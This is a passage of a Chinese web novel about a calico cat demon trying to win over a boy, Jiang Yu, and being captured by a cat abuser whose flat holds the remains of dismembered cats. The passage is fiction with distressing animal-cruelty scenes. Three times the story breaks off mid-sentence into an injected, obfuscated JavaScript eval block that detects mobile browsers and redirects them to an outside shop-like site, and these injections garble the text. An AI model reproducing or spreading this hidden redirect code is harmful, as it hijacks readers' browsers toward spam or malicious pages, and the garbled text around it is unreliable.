《人,猫能碰瓷吗》 2. 第 2 章 穆夏一路把江煜送到家门口,并没像第一次那样堂而皇之地跟着进门然后被推了出来,而是坐在稍远的位置,默默地看着恩人开门、进屋,然后在关门前的缝隙里看他今天的最后一眼。 果然还是失败了。 碰瓷也不管用,到底还有什么办法可以让恩人点头呢? 江煜透过猫眼看着那一团毛茸茸转身缓缓离开,哪怕那个小小的身影消失了很久,他也还站在原地,长睫低垂,刚才被掩饰的笑容也渐渐淡下来。 “抱歉,我养不好你。” 他声音很轻,走远的穆夏根本听不见,喃喃着更像自我解释的借口。 * [狸花师父!我又失败了!] 穆夏回到和狸花的秘密基地,嗷着嗓子就开喊,听起来完全没有被失败打击到的样子。 狸花慢悠悠地伸了个懒腰,打上个哈欠,这才眯着眼睛问题今天具体的情况。 等穆夏一五一十仔仔细细地说完甚至复现了一遍当时的情况,狸花呲了呲牙: [这都搞不定他!你这恩人是不是就不喜欢猫啊?] [不…不会吧,他小的时候还是很喜欢我的啊。] [小时候?那都什么八百年前的黄历了,人都是会变的。我看他就是不喜欢猫了,不然就你这一套,换谁也受不了啊。] 本来还在默默反思是不是自己碰瓷得不够到位的穆夏瞬间明朗: [那我明天再试一次?] 狸花:O.o 突然这么有干劲儿是怎么回事? [那…也不是不行。] 穆夏蹲在地上,双爪合十做祈祷状,闭着眼睛很是虔诚的样子,嘴巴微张露出一点淡粉色的唇边,默念着: 猫妖老祖,猫怪神灵,猫界神仙,一定要让恩人在四天内决定收留我啊!我必须在成年前回报完他的恩情,不然猫这一辈子都心怀愧疚,心有不安,拜托拜托! 趁着穆夏祈祷时,狸花叼着一包不知从哪儿得来的小袋猫粮,放在他面前。 [行了,你先吃饭,明天的事儿明天再说。] 穆夏睁大了眼睛: [那,那你呢?] [这儿我都混熟了的,饿不着。] [狸花师父你真的是个好人!] 说完,三色的猫头毫无边界感地凑了过去,顶着狸花的侧脸狠狠蹭了一下,长毛扎猫,狸花不得不眯起一只眼睛。 (?ω-)(?ω?)~ …… 等夜色被晨光渐渐驱散,几缕明亮的日光透着缝隙钻进秘密基地来,穆夏才悠悠转醒。 他昨晚入睡前还意识到一个非常严肃的问题。 恩人不愿意收养他,可能是因为还不够喜欢,不够喜欢也就意味着他们的接触还是太少,也就是只在恩人的放学路上等根本不够,他还要努力增加和恩人相处的时间。 所以,他今天要去送恩人上学! 寻着已经完全熟悉的方向找到江煜家门口,穆夏乖乖坐在电梯口,等着那扇封闭的大门再次打开。 “咔哒”。 原本等到有些松懈的穆夏瞬间精神,规规矩矩并起两爪立正,眼睛一眨不眨地盯着门口的方向。 大门刚打开,江煜身上淡淡的皂角味道立马被穆夏捕捉。 “喵~” 恩人早上好啊! 江煜还没彻底推开门,就听见一声小奶猫的叫声,一时间还以为是自己幻听,搓了搓耳廓,踏出大门,一抬眼竟真的看见一团三色毛绒坐在电梯口。 “你…怎么上来的?” “喵喵~” 反正这样那样就上来了。 江煜嘴角稍稍向上:“你这是认准了要赖上我啊。” “喵喵喵——” 是呀是呀,我就是来报恩的啊! 江煜愣了几秒,这小猫喵喵叫的时机倒是正好,就好像真能听懂他说话一样。 很快他就摇了摇头,自己否定了这种可能。 小猫怎么可能听懂人说话? 江煜上前,在穆夏期盼的目光中,终于伸手摸了摸小猫头,但也就轻轻一把,很快就撤开。 “我还得去上学,别在这儿等着了。” 穆夏没在意江煜的冷淡,自顾自跟着进了电梯,守在人的腿边,每隔一会儿就要往裤腿上蹭上一脸。 直到裤腿边上沾满了绒白的猫毛,江煜终于受不了了,在穆夏即将又要伸出脑袋之前,迅速把手挡在了裤腿边。 “呜——” “再蹭下去,我这都要变毛裤了。” 毛裤? 穆夏低头看了看自己的前腿,也是毛茸茸的,很保暖啊。 毛裤……不好吗? 他歪了歪头,困惑地看着江煜。 (灬?ω?灬) 江煜看过一眼又匆匆移开了视线,“叮”的一声,电梯门打开,他快步离开,甚至不曾回头多看穆夏一眼。 “喵喵嗷!” 恩人为什么要跑,咪有这么吓人吗! 没事儿,还有三天! * 江煜很快就摆脱了在原地困惑的穆夏,刚给司机打完电话,就听不远处一个男人正打着电话往这边走来。 “欸就是,这只三花还有点好看,等我处理了拍成个救助视频,起号那不是随随便便?哈哈哈就是,现在的人太好糊弄了……” “不过那猫不太好抓,你要不今天带俩兄弟过来帮帮忙,等我拍完视频送你,你回去想怎么弄就怎么弄。” “……欸那没事儿,过段时间我就说病死了……对对对好,等你……哎哟!” 江煜蓦地被撞有些不快,下意识回头看了一眼撞上来的男人。 人模人样的并不显眼,只有耳垂上的那颗痣稍显突兀,脸上的笑容怎么看都觉得猥琐。 刚才他嘴里吐出来的一番话,听起来完全就是对猫的轻蔑,让人不适。 不过见撞到人,道歉倒是及时: “对,对不起啊,我没注意。” 江煜上下打量他一眼,只淡淡应了一声。 “嗯。” 那人还想说点什么,司机已经开着车驶到江煜面前。 被摇下的副驾驶车窗对面,张叔恭敬地喊了声:“少爷。” 江煜熟练地打开后座的车门上车,动作行云流水。 轿车很快被驶出,只给站在原地的人留下一串尾气。 那男人默默抬起刚挂断电话的手机,对着车屁股快速拍了张照片,打开购车平台选择识图功能,跳转页面的价格让他忍不住啐了一口,嘴角撇得几乎变成了倒弯。 “呸,还少爷,装什么呢,这小区有钱的可不少,等老子有钱了,就这百来万的车都配不上我。” 说完自鸣得意地笑起来,镜片的反光渐渐带上点阴冷的意味。 穆夏在角落里看着这男人冲江煜远去的车尾吐口水,对这人的厌恶更加深了一层。 他第一次遇上这人类时就不太喜欢,总觉得身上有一股叫猫作呕的气味,狸花也试着靠近过,虽然也没闻出来到底是什么,但也一样的敬而远之。 奇怪的人类。 就这样也妄想收养他? 呸。 不想被奇怪的人类发现,穆夏选择了绕道离开,重新找到狸花,又被带着出门例行觅食。 说是觅食,其实就是去小区里常有人类投喂的点位看看有没有余粮,这里流浪猫多,抢食的风气也凶,穆夏这几天多是无功而返,所以今天本来也没抱什么希望,可真等到了这儿,才发觉今天到场的猫数并不多。 寥寥几只,甚至还能有多出的粮碗。 「今天居然还能赶上饭。」 狸花自然也发现了异常,但填饱肚子当前,实在来不及多想:「有吃先吃,一会儿再被抢了你又吃不上。」 穆夏环顾四周,果然还是看不到往常的众多猫影,只是站着几个常来投喂的人类,就听他们也在奇怪这情况: “今天来吃饭的猫好少啊,什么情况?” “还真是,有几只一听动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485393|201974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静就过来的也不见,不会…出什么事儿了吧?” “呷,都在小区里能出什么事儿啊。” 担心出事儿的那位顿时有些紧张起来,越说声音越小:“最近那个热搜你们刷到过没有,有一伙虐猫的到处搜集流浪猫虐待取乐,说是他们还有个群,里头都是各种残忍视频的分享,咱小区的猫不会也……” “不…不能吧,咱小区算是安保很好的了,外人轻易进不来的。” “可它们……” “哎呀,可能就是刚好今天不想过来吃,这不还有这么多猫嘛,走了走了。” …… 穆夏这顿饭吃得心不在焉的,叨上一口粮能嚼巴半天,耳朵转向后头听了个全。 虐猫…… 怎么会有这么坏的人类! 普通小猫落入这种坏人的手里几乎是没法逃脱的,毕竟它们和他这样的猫妖还是有本质区别的,猫妖有灵智,高阶的猫妖还能成长出法力,而普通小猫…就是普通小猫。 虽然这几天总是被抢到吃不上饭,但穆夏还是不希望它们真的遭遇了什么。 等吃过粮,穆夏跟着狸花一起在小区里溜达。 今天日光正好,早晨的阳光并不灼热,此时照在毛毛上温暖又舒适,穆夏忍不住低头舔了舔胸口的毛。 很好,很蓬松,恩人也会喜欢的吧? [你说别的猫都跑到哪儿去了呢?] 等两只猫躺在草坪上踏踏实实晒起了太阳,穆夏还是忍不住问起小区里流浪猫的去向。 狸花懒洋洋地神了个懒腰:[不知道,不过一路过来好像是比平时能碰到的少了。] 穆夏越想那听来的虐猫事件越觉得有这种可能,面色渐渐凝重: [如果刚才说的虐猫人真的对这个小区下手了……] 狸花见他这样,又打量了一圈四周,寻常晒太阳的好几个搭子今天都不见了踪迹,它终于生出点不真实地紧张感。 [不…不至于吧?] 穆夏坐不住了,他赫然起身,目光坚定: [走,咱们去找找。] 说完,也不等狸花反应,先一步跨出了草坪,往小区边缘的方向走去。 他决定要从外向内好好摸索一圈,一定要见到那些“消失”的小猫才能彻底放心。 …… 日光越来越热,搜寻了半圈儿的穆夏,不得不带着狸花在半路停下,他找了块儿凉爽的树荫坐着歇口气儿。 可刚缓和了几分钟,就听不远处响起了有些熟悉的惊呼声,迎面走来两个人,其中一人伸出手指直直地指向穆夏所在的位置。 “找到了!就是那只三花!” 是那个讨厌的人类!还带了帮手! 穆夏瞬间警惕,也坐不住了,忙站起来做足了逃跑的姿态方便随时逃跑。 他的眉心都皱出了沟壑,那两个人类手里分明还拿了些看起来很奇怪的工具,看见他的瞬间,脸上的惊喜都透出股诡异。 一时有些不敢轻举妄动。 回头和狸花对视了一眼,就见它也警惕起来,后背微微弓起,尾巴上棕褐色的毛也炸起来。 它也能感受到来者不善。 [跑!] 穆夏一开口,两只猫默契地拔腿就向后跑,任由两个人类怎么在后头喊也不回头。 趁着拐角刚在暗自庆幸逃脱。 “砰——”的一声,一张大网直接断绝了两只的所有后路。 狸花吓得立马疯狂挣扎起来,可不论它怎么拳打脚踢不断撕咬都逃不出去,那张绳网甚至将它越缠越紧。 [没事的,相信我,很快就好了。] 穆夏忽视自己也狂跳的小心脏,试图安慰。 狸花竟真的渐渐冷静下来,只是嘴巴大张,舌头微微向外吐,呼哧呼哧地不停哈气,还是带着普通小猫的原始本能。 原来那个人类不止一个帮手。 穆夏气得咬紧牙关,却不得不强自镇定面对。 两猫对三人类,这局面,胜算实在不大。 3. 第 3 章 穆夏的小脑瓜忍不住盘算起来。 那个人类从一开始的目标就只是他一个,如果成功抓到了他,那狸花应该就会没事。可如果人类还想捎带手把狸花也抓走,那他使出浑身力气也要先帮狸花逃跑。 这些日子它帮了他很多,也该有所回报才对。 猫猫团结! 这样想着,穆夏顶着结实的绳网站起来,看着人类渐渐走近。 人蹲下来,脸上尽是得逞的笑容,手里棍子样的工具还不停地在穆夏头顶一下一下有节奏地敲击着,虽力道不大,也足够加深穆夏心底的怒意。 他看着人类得意挑高的眉毛,听着人类轻佻讽刺的语气: “你说你跑那么费劲干嘛,早点乖乖跟着我走不就好了。” 扣网那人也乐得合不上嘴:“翔哥,不止这只三花,咱还有个意外收获呢!” 穆夏瞪着这个被叫做“翔哥”的人。 还翔哥…我看你们都该被丢到下水道去吃翔才对。 迟翔闻言瞥了一眼狸花,立马嫌弃地摆了摆手:“狸花不要,都玩儿腻了,要不是为了换个花色,我何必叫你们来费这么大功夫。” “那行吧,一会儿装了三花就把这只扔出去。” 听到狸花会被放走,穆夏暗暗舒了口气。 迟翔也不耽搁,一说定就把航空箱放在顺手的位置,隔着网紧紧抓住了穆夏的后脖颈,另一只手则捏紧了穆夏腿后的网,把整只猫结结实实地裹在绷紧的绳网里,生怕一个不小心被挣脱了。 穆夏全程没有反抗,但是一双琉璃眼正不停地观察着人类动作可能出现的疏漏,盘算着等狸花跑掉,自己也要找个间隙挣脱跑路。 “你们干嘛呢?” 迟翔三人的动静实在太大,很快就吸引了路人的注意,三五个好奇地凑上前,打量着迟翔几人和他们手里的工具。 穆夏咽了咽口水,感觉逃跑的机会来了。 谁知迟翔嘿嘿一笑,毫不掩饰:“我在这儿抓猫呢!” “什么?抓猫?!” “好好的没事儿你抓猫干什么?” “拿这么多东西抓猫你不会是虐猫的吧!” …… 周围人的声音越来越亮,也越说越急,纷纷指责起来迟翔三人来。 穆夏打起精神,暗赞有戏。 可迟翔却似早有准备一般,叫人把身后的书包打开,里头满满当当地装着各种猫粮冻干和玩具。 “大家误会了,我是抓回去自家养呢,这只三花怪漂亮的,我们准备带到医院检查检查,没问题就自己收养了!” 撒谎简直都不打草稿! 穆夏气不过,狠狠蹬了一腿,奈何绳网太紧,根本奈何不了迟翔。 路人凑头往那包里看了好几眼,疑虑稍稍消退。 “那那个狸花怎么回事,你收养三花,抓狸花干什么?” “就是,你不会在撒谎吧!” 青天大老爷啊! 这人就是在说谎! 穆夏恨不能人语。 眼看迟翔脸色都没变一下,扬声道:“大家别激动别激动,这是抓的时候它俩刚好扎堆了,正准备给狸花放走的。而且我啊,就是这小区的住户,哪能干那种不是人的事儿啊!” 穆夏听得忍不住想吐这人一脸,可张张嘴尝试了好几次…… 猫嘴,好像也不具备这个功能。 可恶。 有人经这一提醒,好像真认出了迟翔:“哎我好像有点印象,之前下楼遛弯看见过他好多次,好像真是咱小区的住户。” “是吗?看他包里还带着这么多给猫吃的玩的,可能真是咱误会了。” “嗨呀,还不是最近那个新闻闹的,大家都比较警惕,哥你们别介意啊!” 迟翔捏着大网的那兄弟趁机松开了被“连坐”的狸花,众人对迟翔一行的疑虑尽数打消。 穆夏眼看着围观的路人被迟翔的套路给骗得结结实实的,只得放弃“路人拯救”这种可能。 被放走的狸花因为惊吓过度,直接窜进了不远处的矮树丛中,一时也顾不上他这头,穆夏眼睁睁看着迟翔将那航空箱推到自己面前,死死抵在绳网的旁边,一点儿逃跑的空隙都没留下,很是经验老道。 “喵啊——!” 慌乱之中,按捺着自己的恐惧许久的穆夏终于忍不住大叫了一声,在绳网中也拼命挣扎起来。 再…再不动就没机会了! 可迟翔一边将穆夏往航空箱里推,一边还笑得像是地狱偷跑出来的恶鬼,嘴上信口说着谎: “没事的,我们只是想带你回家过好日子,怎么叫得这么惨,好像我们欺负你似的。” 穆夏稍稍挣出空隙的两条后腿,又被人迅速拽了一把,一来一回间,硬生生给他推进了航空箱,只留下一条毛绒大尾巴在笼外苦苦坚持。 “咚——!咔!” 毫不留情合上的箱门重重地砸在了穆夏的尾巴上,似乎有什么东西生生扎进去了,他不得不转个身用力将尾巴从卡扣边缘的位置拽开,皮肉似乎被划破了一道,剧烈的疼痛瞬间袭来。 “喵————!!!” 穆夏的叫声尖锐又凄厉。 痛……尾巴好痛…… 这几个……可恨的人类! * 趁着无人在意,穆夏很快就被迟翔三人带回了他在这小区租住的房子,一进屋,就将航空箱随手放在了餐桌上。 “哥几个坐一下,我放了东西咱就出去吃饭。” 趁着这间隙,穆夏透过航空箱的各个缝隙打量着外头的环境,规划着等迟翔把他放出去之后的逃生路线。 这房子意外地被打理得很干净,可等他的目光落在茶几上一团意味不明的东西后,他忍不住狠狠打了个寒战。 那分明是……被分割过的小猫残块儿! 该死……该死的坏人类!怎么可以…怎么可以这样对待动物! “呕——呕————” 从心底里倒出的厌恶与恶心混着穆夏全身震颤的愤怒,随着这一声声呕吐,尽数发泄。 他终于知道这个翔哥身上叫他讨厌的气味儿到底是从何而来了。 那分明是虐杀小猫后留下的溃气,和血腥气有些相似,可就是因为他的灵魂实在沉睡了太久,在妖怪森林里也几乎接触不到这样的气息,才叫他一时将这给忘了。 现在这个房间里的溃气简直浓烈到可以让他的鼻子爆炸,复杂、浓厚的气味,被虐待的小猫绝对不止茶几上的那只。 还有…… 还有很多…… “嗷啊啊啊啊————” 穆夏几乎是声嘶力竭般狂叫了一声,更像是替代那些受苦的小猫痛苦地哀嚎,这样的声音极具穿透力,让放完东西准备出门的迟翔皱紧了眉头。 “啪!” 一个结结实实的巴掌直接扇在了航空箱上,试图通过这样剧烈的异响吓唬猫,迟翔的动作看起来实在太轻车熟路,穆夏忍不住猜测或许之前的小猫就是被这样恐吓住的。 而他也确实在这震动中摔坐下去。 见他这副模样,迟翔几人哧哧笑起来。 “小孽畜就是不打不知道高低。” 穆夏感受着自己的后腿,好像……真的有点软了。 他如今不过是一只没成年的小猫妖,根本还没有运用法力的能力,除了能看懂听懂人类世界,他和普通小猫简直没什么差别。 今晚本来计划着再找恩人碰瓷一次的,怎么就被抓住了呢?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485394|201974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 就这样折在这里了吗?好不甘心啊…… 如果…如果他听从师傅的话,成年后再出来找寻恩人,是不是就不会落到这样的下场,可如果真的要等到最后一条命,那他还能有机会好好找到恩人报恩吗? 无数杂乱的思绪在穆夏的脑海中不停打转,搅得他毫不安宁。 等迟翔带着人离开,那些难听的讽刺和笑声才彻底消失,穆夏终于能慢慢冷静下来,抛却刚才所有烦恼的思绪。 那个根植在心底的答案此刻越发清晰。 他不能停在这里。 他要努力逃跑,重新去找恩人。 * 江煜也不知道自己今天是怎么了,一整天都心神不宁,勉强坚持到下午,也还是被老师发现了他的异常。 “江煜,如果人不舒服的话,还是回家休息一下。需要我给你父母打电话吗?” 课间被叫到办公室的江煜静静听着班主任的关心,可听到父母两个字时,平静的眸子瞬间冷下来。 薄唇轻启:“不用了老师,我可以自己回去。” “江煜啊我知道你……” “老师没事的话我就先回去了。” 打断了班主任的话,江煜微微颔首后直接走出办公室,只留下班主任在后头不停摇头。 “这孩子就是太孤僻了点儿,” 偶然得了半天假期,江煜也没什么高兴的神色,只是放学回家的路上不再是黑夜路灯的景象有些恍然。 等完全走过熟悉的小道,才后知后觉地发现今天这条路好像少了点什么。 那只小猫,不来了吗? 他站在路口,不由自主地向后望了一眼,空无猫影。 所以每天晚上那只三花的出现不是巧合而是特意等待吗? 江煜微微勾唇,对自己奇怪的假设发笑。 不过回家好像也没什么事儿可做。 他脚尖一转,又回头走一遍这条回家的必经之路。 “哎你知道不,小区新来的那只漂亮三花今天被人收养了。” “真的吗?就那只长毛异瞳?真可惜了,要不是我家已经有两只,高低也把它收了。” 空旷地带,不远处行人的交流不疾不徐地落在了江煜的耳朵里。 长毛、三花、异瞳。 怎么听都像等他的那只。 “是啊,就是那只。不过今天小区还闹了个乌龙呢!” “什么什么!” “就是小区里收养三花的那个人,叫了朋友帮忙抓猫,结果被误会成虐猫的了,据说当时还挺混乱的,那阵仗看着确实容易让人误会。” “最近虐猫的事儿实在太多了,大家容易联想确实也情有可原。” “是吧,不过我总感觉这两天在小区里看见流浪猫的次数变少了,也不知道是不是……” 那两人越走越远,议论声也随风减弱。 江煜那莫名的心慌却越来越重了,他握拳扣在心口的位置,站在原地不知在想些什么。 “噗噗”的微弱动静打断了他的沉思,他低头向下,一只眼熟的狸花正蹲在他脚步,一只爪子还挂在他裤腿上来回轻拍。 这只……好像总和三花一起出现。 一人一猫对视了半晌。 狸花见江煜毫无动静,急得又快速拍了几下,棕黑色的竖瞳一瞬不瞬地紧盯着江煜,似乎在等他的反应。 “什么意思?” 江煜脱口而出,说完又觉得自己可笑。 他什么时候开始觉得,人和猫是能正常沟通交流的了? 狸花忙向另一个方向走了两步,回头见人毫无动静,又急中生智回头叼住了人的裤脚,生生往它要去的方向扯。 鬼使神差地,江煜动了。 4. 第 4 章 江煜回到家打开习题册,笔抬起了好一会儿也没能落下。 白天那种心神不宁的感觉又出现了。 刚才被狸花猫带去的方向,也不过是小区里一条普通的人行通道,环境和别处也没什么差别。 他很无奈,也不知道自己怎么就相信一只猫真的会带他去找点什么。 想走的时候,那只狸花还拦了他好几次,可那附近任他怎么看也看不出任何提示和端倪。 被抓走的不会是那只会接他回家的小猫的,他想。 但如果就是呢…… “啪!” 笔被重重拍在书面上。 江煜蹭地一下站起来,脑海中一下串联上某种可能,他连外套也来不及穿就急匆匆地跑出门去。 狸花猫带他去的地方会不会就是三花被抓走时所在的位置? 毕竟三花出现的时候总能看见狸花,它俩应该是关系很好的猫咪朋友吧? 越想他就越发肯定这种看似荒诞的可能。 重新找回去,江煜没再随意打量,而是在那附近把绿化丛翻了个底儿朝天。 汗珠从他额角向下,顺着脸颊流向下颌,最后滴落在地,他也浑然不觉。 “嘿,今天这奇怪的人怎么这么多,中午来抓猫的,这快晚上了还有来东翻西找的呢。” “小伙子,你是丢了什么东西吗?” 偶然路过的大爷大妈看着他这样生出好奇,随意搭话。 江煜敏锐地捕捉到“中午抓猫”几个字,瞬间停下了动作,走到人近前才开口: “请问您知道中午抓的猫是在哪儿抓的吗?” 大爷瞪大眼睛:“就是在这儿啊!” 江煜微怔。 狸花真的是带他到这里来找猫的。 大爷见他这样,自以为捕捉到了关键话题,很是激动:“我看你在这儿找半天了,那只猫不会是你的吧?” 江煜没直接回答,而是问:“您能跟我说说那只猫长什么样吗?” “哎呀那只猫啊,可好看啦!一团毛乎乎的三花,眼睛也漂亮,两只颜色还不一样哩,被抓的时候都没怎么挣扎,看着挺亲人的。不过以前没怎么看见过,估计是最近刚跑到咱小区来的。” 对上了。 江煜几乎能肯定被抓走的那只,就是他最近每天都能看见的长毛三花,又乖巧又漂亮的那只。 他几乎是迫不及待地继续追问:“那您知道它是被谁抓走的吗?” “嗨,那谁能认识啊,不过他好像说就是咱小区的住户,说不定啥时候就能碰上。”大爷说着看了看四周,稍稍压低了声音,“他抓那猫真不是你的吧?” “它……” 江煜一时语塞。 如果猫不是他的,那他有什么理由找猫呢?就算找上门,他又能跟那个收养的人说什么? 从家里冲到这里寻找的冲动顿时从头顶褪到脚底,他的一双脚像是被灌注了千斤水泥,将他牢牢钉在原地。 他答不上大爷的追问,只能继续转移话题: “您还记得那人大概长什么样吗?要是下次碰上我还能问问小猫的情况。” “哎哟你这小伙子还挺有爱心。”大爷拍拍江煜肩膀继续道,“不过那人长得也没什么特别的,脸短短圆圆的,还带了一副圆形的黑框眼镜,看着挺老实的一个。我看也跟你一样喜欢猫哩!” 这样的长相描述,上人堆里一抓一大把的存在,他早上不就才碰见一个。 江煜不得不追问:“还有没有别的特征?” 大爷想了好一会儿,突然回忆起一个细节:“哦哦哦对,那小伙子耳朵上长了颗痣,还挺少见的。” * “呕——” “呕————” 穆夏的干呕声在这臭气熏天的房子里此起彼伏,到后头彻底累了才勉强停歇。 他已经大半天没喝过水了,今天天气有些热,还一直被关在不怎么通风的航空箱里,这会儿几乎是有点脱水的状态,只能蔫蔫地趴在箱子里,连动脑都有点勉强。 他已经试过了,靠他自己的猫爪根本没法打开这航空箱,只有等那个迟翔回来把他放出来才能另想办法。 可眼看着屋里的光线越来越弱,等天黑后屋里也彻底陷入了黑暗,穆夏心底的绝望渐渐升起。 他这第二条命,不会就是被活活渴死吧? “咔——” 有钥匙转动的声音。 穆夏缓缓睁开眼睛,屋里瞬间亮起的明亮光线叫他不得不眯了眯眼睛,等完全适应后,才看见迟翔虚浮着脚步,踉踉跄跄地往他的方向走近。 这人满脸通红,眼神迷离,嘴里吐出来的话也含含糊糊,看起来像是喝醉了的样子: “你!你……你给我等着,今儿高兴先,先不收拾你,等明…天我睡醒了,我再来帮…你当网红。” “呕——呕————呕————” 人凑得太近,身上那股溃气的味道熏得穆夏好不容易压下的不适,又被重新勾起来,这次完全压制不住,不得不当着迟翔的面不断发出痛苦的干呕声。 迟翔镜片后的眼睛顿时暴睁,砰地一声双手拍在航空箱两侧,一张狰狞的脸几乎贴在箱子门口。 穆夏的干呕瞬间被吓了回去。 他是真的开始害怕了。 努力把鼻头埋进自己的爪弯里,试图通过减少气味的摄入来缓解干呕的生理反应。 可迟翔显然没想轻易放过他,被酒精刺激过的变态大脑简直可以用肆无忌惮来形容。 放在航空箱两侧的手越扣越紧,航空箱忽地腾空,没等穆夏反应又突然降落。 “噗通噔噔——” 航空箱被激烈地摇晃起来。 穆夏的身体因上下左右的疯狂震荡,不停地装在箱子内侧发出被撞击的闷响,失重感叫他来不及反应。 太……可恨! 身不由己的恐惧结结实实地包裹着他,那无处可逃的绝望叫他彻底晕了过去。 迟翔的动作终于停下。 哐当一声,直接连猫带箱摔在了地板上。 似是彻底得到了满足,他这才重新踉踉跄跄地走回房间。 穆夏的世界终于平静,只是波涛汹涌的暗潮还在涌动,只等天亮,一切还会卷土重来。 …… 还是不太对劲。 躺在床上,江煜脑子里不停闪过今天遇见的所有事情,那些分明散落的碎片,他却总觉得拥有某种关联。 只是关联在哪里呢? 眼皮眨动着渐渐没了力气,平静地陷入并不平静的梦中。 在这个梦里他身处悬崖,可说是悬崖,在他前面的其实更像是一个无尽的深坑,坑壁周围似乎燃烧着无穷无尽的烈火,而坑底似乎有什么白花花的东西正往上累积。 等那东西越来越多,渐渐将巨坑填满,他才终于看清那到底是什么。 分明是数不清的猫咪白骨! 而那对白骨之上有一个人正放肆地凌虐着手中的小猫,不断往骨堆上抛弃新的尸骨。正当他想要看清那人的相貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485395|201974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,一双血红的眼睛穿过空间狠狠地盯住了他。 “哈!哈——” 江煜瞬间惊醒,被梦中令人窒息的画面震撼得不住地喘着粗气,额角已全被汗水浸湿。 这个梦,实在是太真实了。 睡前的思考和怀疑瞬间被串联起来。 昨天早上遇见的那个人,耳朵上也有一颗痣! 他立马给物管中心打了个电话: “喂你好,昨天中午在九栋附近丢了一块手表,请问可以帮我调一下附近的监控,我现在过来看吗?” 对方先是很专业地确认了一下江煜的身份,听他报完楼栋和层数,电话里的语气也更殷切了。 “没问题,那您现在过来吧。” * 穆夏眼看着迟翔的脚步越来越近,强忍着饥饿他也站起来保持警惕,眼睛都不敢眨,默默做足了对峙的准备。 迟翔蹲下来凑近,像是想要将穆夏看得更清楚般推了推眼镜,锐利的眸光穿透镜片直射而出:“小东西你乖一点,乖一点我就让你少痛苦一点。” 谁信? 穆夏只恨不能一爪子挠花迟翔的脸,再把他的恶行曝光,叫所有人都看清他的真面目,叫他得到应有的惩罚。 可迟翔却从身后掏出一个瓶子来,里头不知灌的什么液体,只是颜色看起来并不太妙。 他打开瓶口,使劲把气味往航空箱里吹。 穆夏很快就发现自己强打起的精神开始涣散。 不妙,这人对他用药! 几乎是瞬间的事儿,他脚步晃荡,身体左右摆动了一瞬,整只猫就直接摔倒躺在了箱底。 迟翔似乎很满意猫的状态,嘿嘿笑了一声,转头就进了浴室。 穆夏努力睁开沉重的眼皮,听着迟翔那头的动静,估摸着不会太快出来。 他不得不给自己加油打气。 勇敢小猫,绝不认输! 穆夏轻轻晃动着尾巴卷到爪前,深深吸了一口气,右爪高抬,对着昨天被刮破的伤口狠狠踩了上去。 嗷————! 他张大了嘴巴却没敢发出一点声音,生怕被迟翔发现。 好在脑袋昏沉的感觉被顶散了大半,小心翼翼地给自己顺了顺毛,把又开始渗血的地方仔细遮起来,这才眯起眼睛,假装成刚才那样不怎么清醒的状态。 “你说是给你用老虎钳呢,还是给你用锯子呢?” 浴室里传来的声音听着是抑制不住地兴奋。 穆夏忍不住打了个寒战。 今天的太阳明明已经出来了,他刚才就看见没关严的窗帘缝隙里明媚的日光,可那束光离他好远好远。 迟翔倒是谨慎,打开航空箱门前还用棍子往穆夏的身上狠狠戳了好几下,见他真的没动弹,这才放心地将门打开。 穆夏几乎是一个弹射,直接撞开半开的箱门,趁迟翔意料之外的间隙,疯狂地在客厅里跑开。 迟翔的视线里只余下一串残影。 “啊啊啊啊啊——!你这贱东西!” 盛怒当头,迟翔一把掀翻了面前的航空箱,滚落在地又是一串哐当的巨响。他抄起手边的棍子就往穆夏逼近。 “别让我逮着你!” 穆夏就在客厅打着转,即便房间的门都开着他也不会进去,那里空间太小还密闭,一旦进去,就真的变成了死局。 昨天他就观察过了,这户阳台没做封窗,如果他从阳台飞跃……是有机会跳到隔壁人家的。 前提是他需要制造一点和迟翔的时间差。 5. 第 5 章 “江先生,您确定中午是在这条路上丢的手表吗?” 物管经理带着江煜在监控室翻了好一会儿监控也没找到江煜的身影,不得不再确认一遍。 “等等。” 画面上忽然跑出的几人瞬间吸引了江煜的注意。 保安闻言立即按下了暂停键,江煜凑近一看,果然是昨天一早遇见的那个人,身上的衣服一模一样他绝不会认错,而他们捕网里的猫显然也是他认识的那只三花。 “这些人是我们小区的住户吗?” “他们……”物管领导愣了一瞬,自以为快速反应,忙问,“难道是他们偷了您的手表?” “不。”江煜似是下定了什么决心,他的目光从监视屏幕转到物管经理身上,那份坚定似能穿透一切,“他抓了我的猫。” “我们这就让他们归……猫?” “这只三花猫是我的。” 他决定收养的,应该也勉强可以算作他的吧? 江煜掩在碎发下的耳尖微微泛红。 “那您的手表……” “可能是丢在别的地方了,我回头再找找。不过这人能告诉我是哪户吗,我要去找他把猫还给我。” 